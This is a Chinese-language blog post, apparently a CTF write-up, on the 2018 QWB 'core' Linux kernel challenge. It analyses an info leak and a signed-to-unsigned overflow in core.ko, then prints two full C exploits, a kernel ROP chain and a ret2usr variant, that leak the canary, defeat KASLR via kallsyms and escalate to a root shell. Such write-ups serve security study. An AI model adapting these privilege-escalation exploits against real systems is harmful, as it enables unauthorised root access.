linux kernel pwn -- 2018qwb_core

14 篇文章 1 订阅

0x01 查看题目

1.查看start.sh启动脚本,开启了kaslr,但是没有开smep和smap,这里有个小坑-m 64M会报错内存不够,可以改成-m 1024M

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

2.解包文件系统,提取需要分析的模块

mkdir core
cp core.cpio core/
cd core
//因为这次是压缩文件所以需要先解压缩
mv core.cpio core.cpio.gz
gunzip core.cpio.gz
cpio -idmv < ./core.cpio

3.查看init文件,将/proc/kallsyms保存到了/tmp/kallsyms中符号偏移可以从该文件中读取,之后限制了kallsyms和dmesg的使用,当然调试的时候可以先用root去调试。分析模块应该是core.ko

!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

0x02 分析程序

init_module创建了/proc/core
在这里插入图片描述
ioctl中实现了3个功能,0x6677889b调用core_read,0x6677889c设置off值,0x6677889A调用core_copy_func
在这里插入图片描述
core_read,通过设置off可以泄露栈上的数据(canary和kernel base)
在这里插入图片描述
write函数利用copy_from_user向name赋值。
在这里插入图片描述
core_copy_func存在类型转换漏洞,a1是signed64类型,qmemcpy传入是会截断成unsigned16。所以当传入(0xffffffffffff0000|0x100)能从name 赋值0x100字节到v2
在这里插入图片描述

利用pwntools找到commit_creds和prepare_kernel_cred的偏移
在这里插入图片描述
小结:core.ko存在两个漏洞,
1.core_read中可以通过设置off来找到cannary和内核指针。
2.core_copy_func类型转换漏洞导致栈溢出

0x03 ROP思路

利用思路

  1. 通过/tmp/kallsyms来得到vmlinux_base
  2. 通过ioctl 0x6677889C来设置off=0x40
  3. 通过ioctl 0x6677889B 泄露cannary
  4. 通过write向name写rop链
  5. 通过ioctl 0x6677889A 利用类型转换漏洞向v2赋值name中的rop链
  6. getroot

rop链要如何构造呢?(和glibc中找rop类似)
1.commit(prepare_kernel_cred(0)),需要将prepare_kernel_cred得到的rax赋值给rdi再继续调用commit
2.swapgs retqr回到用户空间

下面就很简单了先用ropper --file vmlinux --nocolor > g1得到gadget。然后根据上面的需求去寻找需要的gadget
下面就是找到的一些gadget

size_t pop_rdi_ret = 0xffffffff81000b2f;//: pop rdi; ret;
size_t swapgs_popfq_ret = 0xffffffff81a012da;//: swapgs; popfq; ret;
size_t iretq_ret = 0xffffffff81050ac2;//: iretq; ret;
size_t push_rax_ret = 0xffffffff81041c45;//: push rax; ret;
size_t mov_rdi_rax_p_j = 0xffffffff81532471;//: mov rdi, rax; pop rbp; jmp rcx;
size_t pop_rcx_ret = 0xffffffff81021e53;//: pop rcx; ret;

rop exp

//gcc rop.c -static -masm=intel -g -o rop
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define COMMIT_CREDS_OFFSET 0x9c8e0
#define PREPARE_KERNEL_CRED_OFFSET 0x9cce0
#define CORE_READ 0x6677889B
#define SETOFF 0x6677889C
#define CORE_COPY_FUNC 0x6677889A

size_t vmlinux_base,commit_creds,prepare_kernel_cred;
size_t raw_vmlinux_base=0xffffffff81000000;
int fd;
size_t buf[0x80];
size_t rop[0x100];
size_t cannary;
void find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }
    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;
        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            vmlinux_base = commit_creds - COMMIT_CREDS_OFFSET;
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - PREPARE_KERNEL_CRED_OFFSET;
        }
    }
    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
void FDinit()
{
    fd = open("/proc/core",O_RDWR);
    if(fd<0){
        printf("open core error\n");
        exit(-1);
    }
}
void setOff(int off)
{
    ioctl(fd,SETOFF,off);
}
void core_read()
{
    ioctl(fd,CORE_READ,buf);
    for(int i=0;i<8;i++){
        printf("[*]%d:%llx\n",i,buf[i]);
    }
}
void core_copy_func()
{
    ioctl(fd,CORE_COPY_FUNC,(0xffffffffffff0000|(0x100)));
}

void getshell()
{
    if(!getuid()){
        system("/bin/sh");
    }else{
        printf("not root\n");
    }
}
size_t pop_rdi_ret = 0xffffffff81000b2f;//: pop rdi; ret;
size_t swapgs_popfq_ret = 0xffffffff81a012da;//: swapgs; popfq; ret;
size_t iretq_ret = 0xffffffff81050ac2;//: iretq; ret;
size_t push_rax_ret = 0xffffffff81041c45;//: push rax; ret;
size_t mov_rdi_rax_p_j = 0xffffffff81532471;//: mov rdi, rax; pop rbp; jmp rcx;
size_t pop_rcx_ret = 0xffffffff81021e53;//: pop rcx; ret;
int main()
{
    find_symbols();//读取/tmp/kallsyms
    printf("vmlinux:%llx\n",vmlinux_base);
    save_status();//保存寄存器
    FDinit();
    setOff(0x40);
    core_read();
    cannary = buf[0];
    size_t offset = vmlinux_base - raw_vmlinux_base;
    printf("[*]vmlinux_base:%llx\n",vmlinux_base);
    printf("[*]cannary:%llx\n",cannary);
    int i;
    for(i=0;i<10;i++)
        rop[i] = cannary;
    rop[i++]=pop_rdi_ret+offset;
    rop[i++]=0;
    rop[i++]=prepare_kernel_cred;
    rop[i++]=pop_rcx_ret+offset;
    rop[i++]=commit_creds;
    rop[i++]=mov_rdi_rax_p_j+offset;
    rop[i++]=0;
    rop[i++]=swapgs_popfq_ret+offset;
    rop[i++]=0;
    rop[i++]=iretq_ret+offset;
    rop[i++]=(size_t)&getshell;
    rop[i++]=user_cs;
    rop[i++]=user_rflags;
    rop[i++]=user_sp;
    rop[i++]=user_ss;
    //commit_creds(prepare_kernel_cred(0))
    //swapgs
    //iret;
    write(fd,rop,0x100);
    printf("[*]write rop\n");
    core_copy_func();
}

0x04 ret2usr思路

因为没有开smep(内核不能执行用户空间代码)和smap(内核不能直接访问用户空间数据),所以栈溢出可以直接覆盖返回到用户空间执行commit_creds(prepare_kernel_cred(0))。
exp

/gcc ret2usr.c -static -masm=intel -g -o ret2usr
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define COMMIT_CREDS_OFFSET 0x9c8e0
#define PREPARE_KERNEL_CRED_OFFSET 0x9cce0
#define CORE_READ 0x6677889B
#define SETOFF 0x6677889C
#define CORE_COPY_FUNC 0x6677889A

size_t vmlinux_base,commit_creds,prepare_kernel_cred;
size_t raw_vmlinux_base=0xffffffff81000000;
int fd;
size_t buf[0x80];
size_t rop[0x100];
size_t cannary;
void find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }
    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;
        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            vmlinux_base = commit_creds - COMMIT_CREDS_OFFSET;
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - PREPARE_KERNEL_CRED_OFFSET;
        }
    }
    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
void FDinit()
{
    fd = open("/proc/core",O_RDWR);
    if(fd<0){
        printf("open core error\n");
        exit(-1);
    }
}
void setOff(int off)
{
    ioctl(fd,SETOFF,off);
}
void core_read()
{
    ioctl(fd,CORE_READ,buf);
    for(int i=0;i<8;i++){
        printf("[*]%d:%llx\n",i,buf[i]);
    }
}
void core_copy_func()
{
    ioctl(fd,CORE_COPY_FUNC,(0xffffffffffff0000|(0x100)));
}

void getshell()
{
    if(!getuid()){
        system("/bin/sh");
    }else{
        printf("not root\n");
    }
}
//函数指针的办法来执行commit_creds(prepare_kernel_cred(0))
void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}
size_t pop_rdi_ret = 0xffffffff81000b2f;//: pop rdi; ret;
size_t swapgs_popfq_ret = 0xffffffff81a012da;//: swapgs; popfq; ret;
size_t iretq_ret = 0xffffffff81050ac2;//: iretq; ret;
size_t push_rax_ret = 0xffffffff81041c45;//: push rax; ret;
size_t mov_rdi_rax_p_j = 0xffffffff81532471;//: mov rdi, rax; pop rbp; jmp rcx;
size_t pop_rcx_ret = 0xffffffff81021e53;//: pop rcx; ret;
int main()
{
    find_symbols();//读取/tmp/kallsyms
    printf("vmlinux:%llx\n",vmlinux_base);
    save_status();//保存寄存器
    FDinit();
    setOff(0x40);
    core_read();
    cannary = buf[0];
    size_t offset = vmlinux_base - raw_vmlinux_base;
    printf("[*]vmlinux_base:%llx\n",vmlinux_base);
    printf("[*]cannary:%llx\n",cannary);
    int i;
    for(i=0;i<10;i++)
        rop[i] = cannary;
    rop[i++]=&get_root;
    rop[i++]=swapgs_popfq_ret+offset;
    rop[i++]=0;
    rop[i++]=iretq_ret+offset;
    rop[i++]=(size_t)&getshell;
    rop[i++]=user_cs;
    rop[i++]=user_rflags;
    rop[i++]=user_sp;
    rop[i++]=user_ss;
    //commit_creds(prepare_kernel_cred(0))
    //swapgs
    //iret;
    write(fd,rop,0x100);
    printf("[*]write rop\n");
    core_copy_func();
}

0x05 总结

内核rop链构造其实和普通用户空间中没太大区别,最大区别是最后要回到用户空间来getshell。
当不存在smep和smap时,rop链到用户空间写好的函数来提升权限会比单纯使用rop更简单一些。

一个小坑:extract-vmlinux提取这个题目的vmlinux时,vmlinux没有符号表而且gadget偏移也不太正确。。。不知道具体原因是什么。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值